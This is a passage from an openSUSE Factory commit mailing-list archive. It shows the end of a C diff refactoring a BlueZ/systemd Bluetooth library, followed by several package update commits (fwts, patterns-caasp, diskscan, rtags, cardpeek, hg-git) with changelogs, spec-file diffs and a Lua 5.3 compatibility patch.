_open_system_bus(); if (r < 0) { syslog(LOG_ERR, "%s: Failed to open system bus: %s", __FUNCTION__, strerror(-r)); - return NULL; + return -LB_ERROR_INVALID_CONTEXT; } - return new_context; + return LB_SUCCESS; } lb_result_t -lb_context_free(lb_context lb_ctx) +lb_context_free() { -#ifdef DEBUG - printf("Method Called: %s\n", __FUNCTION__); -#endif int r = 0, i = 0, j = 0, k = 0; if (lb_ctx == NULL) { @@ -837,15 +740,48 @@ free(lb_ctx->devices); free(lb_ctx); + lb_ctx = NULL; + return LB_SUCCESS; +} + +lb_result_t +lb_init() +{ + if (lb_context_new() != LB_SUCCESS) + return LB_ERROR_INVALID_CONTEXT; + + return LB_SUCCESS; +} + +lb_result_t +lb_destroy() +{ + int i, r; + + pthread_cancel(event_thread); + pthread_join(event_thread, NULL); + + r = sd_event_exit(event, SIGINT); + if (r < 0) { + syslog(LOG_ERR, "%s: failed to stop event loop", __FUNCTION__); + } + sd_event_unref(event); + + if (events_matches_array != NULL) { + for (i = 0; i < event_arr_size; i++) { + free(events_matches_array[i]); + } + free(events_matches_array); + } + + lb_context_free(); + return LB_SUCCESS; } lb_result_t -lb_get_bl_devices(lb_context lb_ctx, int seconds) +lb_get_bl_devices(int seconds) { -#ifdef DEBUG - printf("Method Called: %s\n", __FUNCTION__); -#endif const char** objects; int i = 0, r = 0; @@ -864,21 +800,21 @@ return -LB_ERROR_MEMEORY_ALLOCATION; } - r = _scan_devices(lb_ctx, seconds); + r = _scan_devices(seconds); if (r < 0) { syslog(LOG_ERR, "%s: Error getting root objects", __FUNCTION__); return -LB_ERROR_UNSPECIFIED; } - r = _get_root_objects(lb_ctx, objects); + r = _get_root_objects(objects); if (r < 0) { syslog(LOG_ERR, "%s: Error getting root objects", __FUNCTION__); return -LB_ERROR_UNSPECIFIED; } while (objects[i] != NULL) { - if (_is_bl_device(lb_ctx, objects[i])) { - _add_new_device(lb_ctx, objects[i]); + if (_is_bl_device(objects[i])) { + _add_new_device(objects[i]); } free((char*) objects[i]); i++; @@ -890,11 +826,8 @@ } lb_result_t -lb_connect_device(lb_context lb_ctx, lb_bl_device* dev) +lb_connect_device(lb_bl_device* dev) { -#ifdef DEBUG - printf("Method Called: %s\n", __FUNCTION__); -#endif int r; sd_bus_error error = SD_BUS_ERROR_NULL; @@ -929,11 +862,8 @@ } lb_result_t -lb_disconnect_device(lb_context lb_ctx, lb_bl_device* dev) +lb_disconnect_device(lb_bl_device* dev) { -#ifdef DEBUG - printf("Method Called: %s\n", __FUNCTION__); -#endif int r; sd_bus_error error = SD_BUS_ERROR_NULL; @@ -968,11 +898,8 @@ } lb_result_t -lb_pair_device(lb_context lb_ctx, lb_bl_device* dev) +lb_pair_device(lb_bl_device* dev) { -#ifdef DEBUG - printf("Method Called: %s\n", __FUNCTION__); -#endif int r; sd_bus_error error = SD_BUS_ERROR_NULL; @@ -1006,11 +933,8 @@ } lb_result_t -lb_unpair_device(lb_context lb_ctx, lb_bl_device* dev) +lb_unpair_device(lb_bl_device* dev) { -#ifdef DEBUG - printf("Method Called: %s\n", __FUNCTION__); -#endif int r; sd_bus_error error = SD_BUS_ERROR_NULL; @@ -1045,11 +969,8 @@ } lb_result_t -lb_get_ble_device_services(lb_context lb_ctx, lb_bl_device* dev) +lb_get_ble_device_services(lb_bl_device* dev) { -#ifdef DEBUG - printf("Method Called: %s\n", __FUNCTION__); -#endif int i = 0, r = 0; sd_bus_error error = SD_BUS_ERROR_NULL; @@ -1063,14 +984,14 @@ return -LB_ERROR_INVALID_DEVICE; } - if (!_is_bl_device(lb_ctx, dev->device_path)) { + if (!_is_bl_device(dev->device_path)) { syslog(LOG_ERR, "%s: device %s not a bl device", __FUNCTION__, dev->device_path); sd_bus_error_free(&error); return -LB_ERROR_INVALID_DEVICE; } - if (!_is_device_paired(lb_ctx, dev->device_path)) { - r = lb_pair_device(lb_ctx, dev); + if (!_is_device_paired(dev->device_path)) { + r = lb_pair_device(dev); if (r < 0) { syslog(LOG_ERR, "%s: error pairing device", __FUNCTION__); sd_bus_error_free(&error); @@ -1089,7 +1010,7 @@ return -LB_ERROR_MEMEORY_ALLOCATION; } - r = _get_root_objects(lb_ctx, objects); + r = _get_root_objects(objects); if (r < 0) { syslog(LOG_ERR, "%s: Error getting root objects", __FUNCTION__); if (objects != NULL) @@ -1099,23 +1020,23 @@ } while (objects[i] != NULL) { - if (strstr(objects[i], dev->device_path) && _is_ble_service(lb_ctx, objects[i])) { + if (strstr(objects[i], dev->device_path) && _is_ble_service(objects[i])) { const char* service_path = objects[i]; - r = _add_new_service(lb_ctx, dev, service_path); + r = _add_new_service(dev, service_path); if (r < 0) { syslog(LOG_ERR, "%s: Error adding ble service", __FUNCTION__); continue; } int j = 0; while (objects[j] != NULL) { - if (strstr(objects[j], service_path) && _is_ble_characteristic(lb_ctx, objects[j])) { + if (strstr(objects[j], service_path) && _is_ble_characteristic(objects[j])) { lb_ble_service* new_service = NULL; - r = lb_get_ble_service_by_service_path(lb_ctx, dev, service_path, &new_service); + r = lb_get_ble_service_by_service_path(dev, service_path, &new_service); if (r < 0) { syslog(LOG_ERR, "%s: Error getting ble service", __FUNCTION__); continue; } - _add_new_characteristic(lb_ctx, new_service, objects[j]); + _add_new_characteristic(new_service, objects[j]); if (r < 0) { syslog(LOG_ERR, "%s: Error adding ble characteristic", __FUNCTION__); continue; @@ -1141,14 +1062,10 @@ } lb_result_t -lb_get_ble_characteristic_by_characteristic_path(lb_context lb_ctx, - lb_bl_device* dev, +lb_get_ble_characteristic_by_characteristic_path(lb_bl_device* dev, const char* characteristic_path, lb_ble_char** ble_characteristic_ret) { -#ifdef DEBUG - printf("Method Called: %s\n", __FUNCTION__); -#endif int i, j; if (lb_ctx == NULL) { @@ -1179,11 +1096,8 @@ } lb_result_t -lb_get_ble_characteristic_by_uuid(lb_context lb_ctx, lb_bl_device* dev, const char* uuid, lb_ble_char** ble_characteristic_ret) +lb_get_ble_characteristic_by_uuid(lb_bl_device* dev, const char* uuid, lb_ble_char** ble_characteristic_ret) { -#ifdef DEBUG - printf("Method Called: %s\n", __FUNCTION__); -#endif int i, j; if (lb_ctx == NULL) { @@ -1201,13 +1115,13 @@ return -LB_ERROR_INVALID_DEVICE; } - if (!_is_ble_device(lb_ctx, dev->device_path)) { + if (!_is_ble_device(dev->device_path)) { syslog(LOG_ERR, "%s: not a ble device", __FUNCTION__); return -LB_ERROR_INVALID_DEVICE; } for (i = 0; i < dev->services_size; i++) { - for (j = 0; dev->services_size; j++) { + for (j = 0; j < dev->services[i]->characteristics_size; j++) { if (strncmp(uuid, dev->services[i]->characteristics[j]->uuid, strlen(uuid)) == 0) { *ble_characteristic_ret = dev->services[i]->characteristics[j]; return LB_SUCCESS; @@ -1218,11 +1132,8 @@ } lb_result_t -lb_get_ble_service_by_service_path(lb_context lb_ctx, lb_bl_device* dev, const char* service_path, lb_ble_service** ble_service_ret) +lb_get_ble_service_by_service_path(lb_bl_device* dev, const char* service_path, lb_ble_service** ble_service_ret) { -#ifdef DEBUG - printf("Method Called: %s\n", __FUNCTION__); -#endif int i; if (lb_ctx == NULL) { @@ -1250,11 +1161,8 @@ } lb_result_t -lb_get_ble_service_by_uuid(lb_context lb_ctx, lb_bl_device* dev, const char* uuid, lb_ble_service** ble_service_ret) +lb_get_ble_service_by_uuid(lb_bl_device* dev, const char* uuid, lb_ble_service** ble_service_ret) { -#ifdef DEBUG - printf("Method Called: %s\n", __FUNCTION__); -#endif int i; if (lb_ctx == NULL) { @@ -1272,7 +1180,7 @@ return -LB_ERROR_INVALID_DEVICE; } - if (!_is_ble_device(lb_ctx, dev->device_path)) { + if (!_is_ble_device(dev->device_path)) { syslog(LOG_ERR, "%s: not a ble device", __FUNCTION__); return -LB_ERROR_INVALID_DEVICE; } @@ -1287,11 +1195,8 @@ } lb_result_t -lb_get_device_by_device_path(lb_context lb_ctx, const char* device_path, lb_bl_device** bl_device_ret) +lb_get_device_by_device_path(const char* device_path, lb_bl_device** bl_device_ret) { -#ifdef DEBUG - printf("Method Called: %s\n", __FUNCTION__); -#endif int i; if (lb_ctx == NULL) { @@ -1314,11 +1219,8 @@ } lb_result_t -lb_get_device_by_device_name(lb_context lb_ctx, const char* name, lb_bl_device** bl_device_ret) +lb_get_device_by_device_name(const char* name, lb_bl_device** bl_device_ret) { -#ifdef DEBUG - printf("Method Called: %s\n", __FUNCTION__); -#endif int i; if (lb_ctx == NULL) { @@ -1341,11 +1243,8 @@ } lb_result_t -lb_get_device_by_device_address(lb_context lb_ctx, const char* address, lb_bl_device** bl_device_ret) +lb_get_device_by_device_address(const char* address, lb_bl_device** bl_device_ret) { -#ifdef DEBUG - printf("Method Called: %s\n", __FUNCTION__); -#endif int i; if (lb_ctx == NULL) { @@ -1368,11 +1267,8 @@ } lb_result_t -lb_write_to_characteristic(lb_context lb_ctx, lb_bl_device* dev, const char* uuid, int size, uint8_t* value) +lb_write_to_characteristic(lb_bl_device* dev, const char* uuid, int size, uint8_t* value) { -#ifdef DEBUG - printf("Method Called: %s\n", __FUNCTION__); -#endif int r; sd_bus_message* func_call = NULL; sd_bus_error error = SD_BUS_ERROR_NULL; @@ -1399,7 +1295,7 @@ return -LB_ERROR_INVALID_BUS; } - r = lb_get_ble_characteristic_by_uuid(lb_ctx, dev, uuid, &characteristics); + r = lb_get_ble_characteristic_by_uuid(dev, uuid, &characteristics); if (r < 0) { syslog(LOG_ERR, "%s: Failed to get characteristic", __FUNCTION__); sd_bus_error_free(&error); @@ -1423,6 +1319,7 @@ return -LB_ERROR_UNSPECIFIED; } + /* r = sd_bus_message_append(func_call, "a{sv}", 0, NULL); if (r < 0) { syslog(LOG_ERR, "%s: Failed to append a{sv} to message call", __FUNCTION__); @@ -1430,6 +1327,7 @@ sd_bus_message_unref(func_call); return -LB_ERROR_UNSPECIFIED; } + */ r = sd_bus_call(lb_ctx->bus, func_call, 0, &error, NULL); if (r < 0) { @@ -1453,11 +1351,8 @@ } lb_result_t -lb_read_from_characteristic(lb_context lb_ctx, lb_bl_device* dev, const char* uuid, size_t* size, uint8_t** result) +lb_read_from_characteristic(lb_bl_device* dev, const char* uuid, size_t* size, uint8_t** result) { -#ifdef DEBUG - printf("Method Called: %s\n", __FUNCTION__); -#endif int r; sd_bus_message* reply = NULL; sd_bus_error error = SD_BUS_ERROR_NULL; @@ -1484,13 +1379,13 @@ return -LB_ERROR_INVALID_BUS; } - if (!_is_ble_device(lb_ctx, dev->device_path)) { + if (!_is_ble_device(dev->device_path)) { syslog(LOG_ERR, "%s: not a ble device", __FUNCTION__); sd_bus_error_free(&error); return -LB_ERROR_INVALID_DEVICE; } - r = lb_get_ble_characteristic_by_uuid(lb_ctx, dev, uuid, &characteristics); + r = lb_get_ble_characteristic_by_uuid(dev, uuid, &characteristics); if (r < 0) { syslog(LOG_ERR, "%s: Failed to get characteristic", __FUNCTION__); sd_bus_error_free(&error); @@ -1521,15 +1416,11 @@ } lb_result_t -lb_register_characteristic_read_event(lb_context lb_ctx, - lb_bl_device* dev, +lb_register_characteristic_read_event(lb_bl_device* dev, const char* uuid, sd_bus_message_handler_t callback, void* userdata) { -#ifdef DEBUG - printf("Method Called: %s\n", __FUNCTION__); -#endif int r; sd_bus_error error = SD_BUS_ERROR_NULL; lb_ble_char* ble_char_new = NULL; @@ -1555,7 +1446,7 @@ return -LB_ERROR_INVALID_DEVICE; } - r = lb_get_ble_characteristic_by_uuid(lb_ctx, dev, uuid, &ble_char_new); + r = lb_get_ble_characteristic_by_uuid(dev, uuid, &ble_char_new); if (r < 0) { syslog(LOG_ERR, "%s: could find characteristic: %s", __FUNCTION__, uuid); sd_bus_error_free(&error); @@ -1613,9 +1504,6 @@ lb_result_t lb_parse_uart_service_message(sd_bus_message* message, const void** result, size_t* size) { -#ifdef DEBUG - printf("Method Called: %s\n", __FUNCTION__); -#endif int r; if (message == NULL) {

1 0

commit fwts for openSUSE:Factory
by root＠hilbert.suse.de 28 Aug '17

28 Aug '17

Hello community, here is the log from the commit of package fwts for openSUSE:Factory checked in at 2017-08-28 15:33:15 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Comparing /work/SRC/openSUSE:Factory/fwts (Old) and /work/SRC/openSUSE:Factory/.fwts.new (New) ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Package is "fwts" Mon Aug 28 15:33:15 2017 rev:26 rq:519080 version:17.07.00 Changes: -------- --- /work/SRC/openSUSE:Factory/fwts/fwts.changes 2017-06-23 09:18:54.925766909 +0200 +++ /work/SRC/openSUSE:Factory/.fwts.new/fwts.changes 2017-08-28 15:33:21.552156218 +0200 @@ -1,0 +2,21 @@ +Mon Aug 28 09:53:50 UTC 2017 - mpluskal(a)suse.com + +- Update to version 17.07.00 (boo#1055891): + * acpi: bgrt: update according to acpi 6.1 errata + * acpi: method: update _PSD and _TSD tests according to ACPI 6.1 + errata + * acpi: rsdp: revision 1 must have length 20 according to ACPI + 6.1 errata + * acpi: method: Add _CPC revision 3 according to ACPI 6.2 + * acpi: hest: add new type 11 introduced in ACPI 6.2 + * acpi: srat: add new type 4 according to ACPI 6.2 + * acpi: method: update _GCP according to ACPI 6.2 + * acpi: hest: add notification type 11 according to ACPI 6.2 + * acpi: fadt: update minor version to 2 for ACPI 6.2 + * acpi: hest: add checks for GHES_ASSIST flag value in ACPI 6.2 + * acpi: wsmt: add wsmt test according to ACPI 6.2 + * ACPICA: Update to version 20170629 + * acpi: tpm2: Add additional start method values + * acpi: iort: Add PMCG support + +------------------------------------------------------------------- Old: ---- fwts-V17.06.00.tar.gz New: ---- fwts-V17.07.00.tar.gz ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Other differences: ------------------ ++++++ fwts.spec ++++++ --- /var/tmp/diff_new_pack.rVMdJQ/_old 2017-08-28 15:33:22.859972348 +0200 +++ /var/tmp/diff_new_pack.rVMdJQ/_new 2017-08-28 15:33:22.875970099 +0200 @@ -17,7 +17,7 @@ Name: fwts -Version: 17.06.00 +Version: 17.07.00 Release: 0 Summary: Firmware Test Suite License: GPL-2.0+ @@ -69,7 +69,6 @@ rm -f "%{buildroot}/%{_libdir}/%{name}"/*.so %files -%defattr(-,root,root) %doc README README_ACPICA.txt README_SOURCE.txt ./data/README_JSON.txt %{_bindir}/fwts %{_bindir}/kernelscan ++++++ fwts-V17.06.00.tar.gz -> fwts-V17.07.00.tar.gz ++++++ ++++ 12331 lines of diff (skipped) ++++++ fwts-no-compiletime.patch ++++++ --- /var/tmp/diff_new_pack.rVMdJQ/_old 2017-08-28 15:33:24.463746868 +0200 +++ /var/tmp/diff_new_pack.rVMdJQ/_new 2017-08-28 15:33:24.467746306 +0200 @@ -1,7 +1,7 @@ -Index: fwts-17.06.00/src/acpica/source/compiler/aslutils.c +Index: fwts-17.07.00/src/acpica/source/compiler/aslutils.c =================================================================== ---- fwts-17.06.00.orig/src/acpica/source/compiler/aslutils.c -+++ fwts-17.06.00/src/acpica/source/compiler/aslutils.c +--- fwts-17.07.00.orig/src/acpica/source/compiler/aslutils.c ++++ fwts-17.07.00/src/acpica/source/compiler/aslutils.c @@ -490,7 +490,7 @@ UtDisplaySummary ( /* Compiler name and version number */

1 0

commit patterns-caasp for openSUSE:Factory
by root＠hilbert.suse.de 28 Aug '17

28 Aug '17

Hello community, here is the log from the commit of package patterns-caasp for openSUSE:Factory checked in at 2017-08-28 15:33:12 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Comparing /work/SRC/openSUSE:Factory/patterns-caasp (Old) and /work/SRC/openSUSE:Factory/.patterns-caasp.new (New) ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Package is "patterns-caasp" Mon Aug 28 15:33:12 2017 rev:14 rq:519075 version:1.0 Changes: -------- --- /work/SRC/openSUSE:Factory/patterns-caasp/patterns-caasp.changes 2017-08-24 18:56:59.142669488 +0200 +++ /work/SRC/openSUSE:Factory/.patterns-caasp.new/patterns-caasp.changes 2017-08-28 15:33:17.988657220 +0200 @@ -1,0 +2,5 @@ +Fri Aug 25 08:47:02 CEST 2017 - kukuk(a)suse.de + +- Build onlyDVD only on openSUSE to make new repo-checker happy + +------------------------------------------------------------------- ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Other differences: ------------------ ++++++ patterns-caasp.spec ++++++ --- /var/tmp/diff_new_pack.cv8v1s/_old 2017-08-28 15:33:18.844536890 +0200 +++ /var/tmp/diff_new_pack.cv8v1s/_new 2017-08-28 15:33:18.876532391 +0200 @@ -221,9 +221,6 @@ Requires: hyper-v Requires: kernel-firmware Requires: open-vm-tools -%if 0%{?is_susecaasp} -Requires: tftpboot-installation-CAASP-2.0-x86_64 -%endif %description onlyDVD This are the additonal packages which should be on a SUSE CaaS Platform or openSUSE Kubic product. @@ -247,9 +244,11 @@ %dir /usr/share/doc/packages/patterns-caasp /usr/share/doc/packages/patterns-caasp/Stack.txt +%if !0%{?is_susecaasp} %files onlyDVD %defattr(-,root,root) %dir /usr/share/doc/packages/patterns-caasp /usr/share/doc/packages/patterns-caasp/onlyDVD.txt +%endif %changelog

1 0

commit diskscan for openSUSE:Factory
by root＠hilbert.suse.de 28 Aug '17

28 Aug '17

Hello community, here is the log from the commit of package diskscan for openSUSE:Factory checked in at 2017-08-28 15:33:09 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Comparing /work/SRC/openSUSE:Factory/diskscan (Old) and /work/SRC/openSUSE:Factory/.diskscan.new (New) ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Package is "diskscan" Mon Aug 28 15:33:09 2017 rev:6 rq:519074 version:0.20 Changes: -------- --- /work/SRC/openSUSE:Factory/diskscan/diskscan.changes 2016-10-20 23:09:28.000000000 +0200 +++ /work/SRC/openSUSE:Factory/.diskscan.new/diskscan.changes 2017-08-28 15:33:14.781108178 +0200 @@ -1,0 +2,7 @@ +Mon Aug 28 09:48:56 UTC 2017 - mpluskal(a)suse.com + +- Update to version 0.20: + * Misc internal changes + * Update libscsicmd + +------------------------------------------------------------------- Old: ---- diskscan-0.19.tar.gz New: ---- diskscan-0.20.tar.gz ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Other differences: ------------------ ++++++ diskscan.spec ++++++ --- /var/tmp/diff_new_pack.PpBYlC/_old 2017-08-28 15:33:16.036931618 +0200 +++ /var/tmp/diff_new_pack.PpBYlC/_new 2017-08-28 15:33:16.040931056 +0200 @@ -1,7 +1,7 @@ # # spec file for package diskscan # -# Copyright (c) 2016 SUSE LINUX GmbH, Nuernberg, Germany. +# Copyright (c) 2017 SUSE LINUX GmbH, Nuernberg, Germany. # # All modifications and additions to the file contributed by third parties # remain the property of their copyright owners, unless otherwise agreed @@ -17,7 +17,7 @@ Name: diskscan -Version: 0.19 +Version: 0.20 Release: 0 Summary: Scan disk for bad or near failure sectors License: GPL-3.0+ @@ -54,7 +54,6 @@ %cmake_install %files -%defattr(-,root,root) %doc COPYING README* %{_bindir}/%{name} %{_mandir}/man1/%{name}.1%{ext_man} ++++++ diskscan-0.19.tar.gz -> diskscan-0.20.tar.gz ++++++ ++++ 4980 lines of diff (skipped)

1 0

commit rtags for openSUSE:Factory
by root＠hilbert.suse.de 28 Aug '17

28 Aug '17

Hello community, here is the log from the commit of package rtags for openSUSE:Factory checked in at 2017-08-28 15:33:04 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Comparing /work/SRC/openSUSE:Factory/rtags (Old) and /work/SRC/openSUSE:Factory/.rtags.new (New) ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Package is "rtags" Mon Aug 28 15:33:04 2017 rev:2 rq:519070 version:2.13+git.20170825.93b00636 Changes: -------- --- /work/SRC/openSUSE:Factory/rtags/rtags.changes 2017-03-12 20:00:10.858180508 +0100 +++ /work/SRC/openSUSE:Factory/.rtags.new/rtags.changes 2017-08-28 15:33:11.189613116 +0200 @@ -1,0 +2,15 @@ +Sun Aug 27 18:23:35 UTC 2017 - mliska(a)suse.cz + +- Update to version 2.13+git.20170825.93b00636: + * Biump rct. + * Not used. + * grammar + * Fix issue #1031. Detect if json.h is supported or not and turn off json output for completions if it isn't. + * Kill previous rtags-find-symbol-at-point buffer if there is one. + * Fix issue with the following example: + * Fix an issue with this construct: + * Bump database. + * Bump version + * Fix issue #1035 and issue #1035. + +------------------------------------------------------------------- Old: ---- rtags-2.8+git.20161226.6ac7740e.tar.xz New: ---- rtags-2.13+git.20170825.93b00636.tar.xz ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Other differences: ------------------ ++++++ rtags.spec ++++++ --- /var/tmp/diff_new_pack.etUl2I/_old 2017-08-28 15:33:13.001358397 +0200 +++ /var/tmp/diff_new_pack.etUl2I/_new 2017-08-28 15:33:13.001358397 +0200 @@ -1,7 +1,7 @@ # # spec file for package rtags # -# Copyright (c) 2015 SUSE LINUX GmbH, Nuernberg, Germany. +# Copyright (c) 2017 SUSE LINUX GmbH, Nuernberg, Germany. # # All modifications and additions to the file contributed by third parties # remain the property of their copyright owners, unless otherwise agreed @@ -18,7 +18,7 @@ # See also http://en.opensuse.org/openSUSE:Specfile_guidelines Name: rtags -Version: 2.8+git.20161226.6ac7740e +Version: 2.13+git.20170825.93b00636 Release: 0 Summary: Clang based source code indexer License: GPL-3.0+ ++++++ _service ++++++ --- /var/tmp/diff_new_pack.etUl2I/_old 2017-08-28 15:33:13.205329721 +0200 +++ /var/tmp/diff_new_pack.etUl2I/_new 2017-08-28 15:33:13.205329721 +0200 @@ -4,8 +4,8 @@ <param name="scm">git</param> <param name="changesgenerate">enable</param> <param name="filename">rtags</param> - <param name="versionformat">2.8+git.%cd.%h</param> - <param name="revision">6ac7740eaf05cdd9b699185f71cc2d1f634a761b</param> + <param name="versionformat">2.13+git.%cd.%h</param> + <param name="revision">93b0063626c54ab976b2c8f2dba8cd9d25e18bd4</param> </service> <service mode="disabled" name="recompress"> <param name="file">*.tar</param> ++++++ rtags-2.8+git.20161226.6ac7740e.tar.xz -> rtags-2.13+git.20170825.93b00636.tar.xz ++++++ ++++ 30532 lines of diff (skipped)

1 0

commit cardpeek for openSUSE:Factory
by root＠hilbert.suse.de 28 Aug '17

28 Aug '17

Hello community, here is the log from the commit of package cardpeek for openSUSE:Factory checked in at 2017-08-28 15:33:02 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Comparing /work/SRC/openSUSE:Factory/cardpeek (Old) and /work/SRC/openSUSE:Factory/.cardpeek.new (New) ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Package is "cardpeek" Mon Aug 28 15:33:02 2017 rev:7 rq:519061 version:0.8.4 Changes: -------- --- /work/SRC/openSUSE:Factory/cardpeek/cardpeek.changes 2017-04-11 09:39:10.119889315 +0200 +++ /work/SRC/openSUSE:Factory/.cardpeek.new/cardpeek.changes 2017-08-28 15:33:04.134604993 +0200 @@ -1,0 +2,7 @@ +Tue Aug 22 08:22:21 UTC 2017 - tchvatal(a)suse.com + +- Add patch to build with lua5.3 (upstream merged in git): + * cardpeek-lua5.3.patch +- Convert to pkgconfig style dependencies + +------------------------------------------------------------------- New: ---- cardpeek-lua5.3.patch ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Other differences: ------------------ ++++++ cardpeek.spec ++++++ --- /var/tmp/diff_new_pack.VoWbYd/_old 2017-08-28 15:33:05.290442491 +0200 +++ /var/tmp/diff_new_pack.VoWbYd/_new 2017-08-28 15:33:05.302440805 +0200 @@ -24,21 +24,17 @@ Group: Productivity/Security Url: http://pannetrat.com/Cardpeek/ Source: http://downloads.pannetrat.com/install/%{name}-%{version}.tar.gz +Patch0: cardpeek-lua5.3.patch BuildRequires: desktop-file-utils -BuildRequires: gtk3-devel BuildRequires: hicolor-icon-theme -BuildRequires: libcurl-devel -%if 0%{?suse_version} > 1320 -BuildRequires: lua52-devel -%else -BuildRequires: lua-devel -%endif BuildRequires: openssl-devel -BuildRequires: pcsc-lite-devel -BuildRequires: pkg-config +BuildRequires: pkgconfig BuildRequires: readline-devel BuildRequires: pkgconfig(glib-2.0) -BuildRoot: %{_tmppath}/%{name}-%{version}-build +BuildRequires: pkgconfig(gtk+-3.0) +BuildRequires: pkgconfig(libcurl) +BuildRequires: pkgconfig(libpcsclite) +BuildRequires: pkgconfig(lua) %description Cardpeek is a Linux tool to read the contents of ISO7816 smart cards. @@ -56,13 +52,16 @@ * Vitale 2 French health cards. * GSM cards (beta) -See /usr/share/doc/packages/cardpeek/cardpeek_ref.en.pdf for more details. +See %{_docdir}/cardpeek/cardpeek_ref.en.pdf for more details. %prep %setup -q +%patch0 -p1 %build -%configure --docdir=%{_docdir}/%{name} +%configure \ + --docdir=%{_docdir}/%{name} \ + --disable-silent-rules make %{?_smp_mflags} %install @@ -77,11 +76,10 @@ %icon_theme_cache_postun %files -%defattr(-,root,root) # NEWS is empty %doc AUTHORS COPYING ChangeLog README %doc %{_defaultdocdir}/%{name}/cardpeek_ref.en.pdf -%doc %{_mandir}/man1/cardpeek.1* +%{_mandir}/man1/cardpeek.1%{?ext_man} %{_bindir}/cardpeek %dir %{_datadir}/appdata %{_datadir}/appdata/cardpeek.appdata.xml ++++++ cardpeek-lua5.3.patch ++++++ >From d0653e73af85885544a7876cb4b7387410c88855 Mon Sep 17 00:00:00 2001 From: Alain Pannetrat <L1L1(a)gmx.com> Date: Mon, 3 Jul 2017 16:02:09 -0700 Subject: [PATCH] Updated to mingw64 and lua-5.3 --- lua_bytes.c | 26 +++++++------- diff --git a/lua_bytes.c b/lua_bytes.c index 146b547..d0abf85 100644 --- a/lua_bytes.c +++ b/lua_bytes.c @@ -116,7 +116,7 @@ static bytestring_t* x_bytes_create(lua_State *L, unsigned width, int start, int static int subr_bytes_new(lua_State *L) { - int width = luaL_checkint(L, 1); + int width = luaL_checkinteger(L, 1); int n = lua_gettop(L); bytestring_t *bs; @@ -259,7 +259,7 @@ static int subr_bytes_get(lua_State *L) b_index = 0; else { - b_index=luaL_checkint(L,2); + b_index=luaL_checkinteger(L,2); if (b_index<0) b_index = 0; } @@ -267,7 +267,7 @@ static int subr_bytes_get(lua_State *L) e_index = b_index; else { - e_index=luaL_checkint(L,2); + e_index=luaL_checkinteger(L,2); if (e_index>=(int)bytestring_get_size(bs)) e_index = bytestring_get_size(bs)-1; } @@ -293,13 +293,13 @@ static int subr_bytes_set(lua_State *L) unsigned i; unsigned char c; - b_index=(unsigned)luaL_checkint(L,2); + b_index=(unsigned)luaL_checkinteger(L,2); e_index = b_index + lua_gettop(L)-3; for (i=b_index;i<=e_index;i++) { - c = (unsigned char)luaL_checkint(L,i-b_index+3); + c = (unsigned char)luaL_checkinteger(L,i-b_index+3); if (i<bytestring_get_size(bs)) { bytestring_set_element(bs,i,c); @@ -324,8 +324,8 @@ static int subr_bytes_set(lua_State *L) static int subr_bytes_pad_left(lua_State *L) { bytestring_t *bs = bytestring_duplicate(luaL_check_bytestring(L, 1)); - unsigned pad_length = luaL_checkint(L,2); - unsigned pad_value = luaL_checkint(L,3); + unsigned pad_length = luaL_checkinteger(L,2); + unsigned pad_value = luaL_checkinteger(L,3); if (bytestring_pad_left(bs,pad_length,pad_value)!=BYTESTRING_OK) { bytestring_free(bs); @@ -340,8 +340,8 @@ static int subr_bytes_pad_left(lua_State *L) static int subr_bytes_pad_right(lua_State *L) { bytestring_t *bs = bytestring_duplicate(luaL_check_bytestring(L, 1)); - unsigned pad_length = luaL_checkint(L,2); - unsigned pad_value = luaL_checkint(L,3); + unsigned pad_length = luaL_checkinteger(L,2); + unsigned pad_value = luaL_checkinteger(L,3); if (bytestring_pad_right(bs,pad_length,pad_value)!=BYTESTRING_OK) { bytestring_free(bs); @@ -376,12 +376,12 @@ static int subr_bytes_clone(lua_State *L) static int subr_bytes_sub(lua_State *L) { bytestring_t *bs = luaL_check_bytestring(L, 1); - int start=luaL_checkint(L,2); + int start=luaL_checkinteger(L,2); int end=-1; bytestring_t *ret; if (lua_gettop(L)>2) - end=luaL_checkint(L,3); + end=luaL_checkinteger(L,3); if (start<0) start=bytestring_get_size(bs)+start; if (end<0) @@ -431,13 +431,13 @@ static int subr_bytes_convert(lua_State *L) "\tchange bytes.convert(A,B) to bytes.convert(B,A)\n" "\tThis warning will only appear once."); } - width=luaL_checkint(L,1); + width=luaL_checkinteger(L,1); bs = luaL_check_bytestring(L, 2); } else { bs = luaL_check_bytestring(L, 1); - width=luaL_checkint(L,2); + width=luaL_checkinteger(L,2); } if (width!=8 && width!=4 && width!=1)

1 0

commit hg-git for openSUSE:Factory
by root＠hilbert.suse.de 28 Aug '17

28 Aug '17

Hello community, here is the log from the commit of package hg-git for openSUSE:Factory checked in at 2017-08-28 15:32:59 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Comparing /work/SRC/openSUSE:Factory/hg-git (Old) and /work/SRC/openSUSE:Factory/.hg-git.new (New) ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Package is "hg-git" Mon Aug 28 15:32:59 2017 rev:22 rq:519049 version:0.8.9 Changes: -------- --- /work/SRC/openSUSE:Factory/hg-git/hg-git.changes 2017-05-03 15:58:16.786996137 +0200 +++ /work/SRC/openSUSE:Factory/.hg-git.new/hg-git.changes 2017-08-28 15:33:02.122887823 +0200 @@ -1,0 +2,7 @@ +Sat Aug 26 16:33:54 UTC 2017 - olaf(a)aepfle.de + +- update to v0.8.9 + no changelog provided by upstream +- remove weird tests with hg-git.patch + +------------------------------------------------------------------- Old: ---- 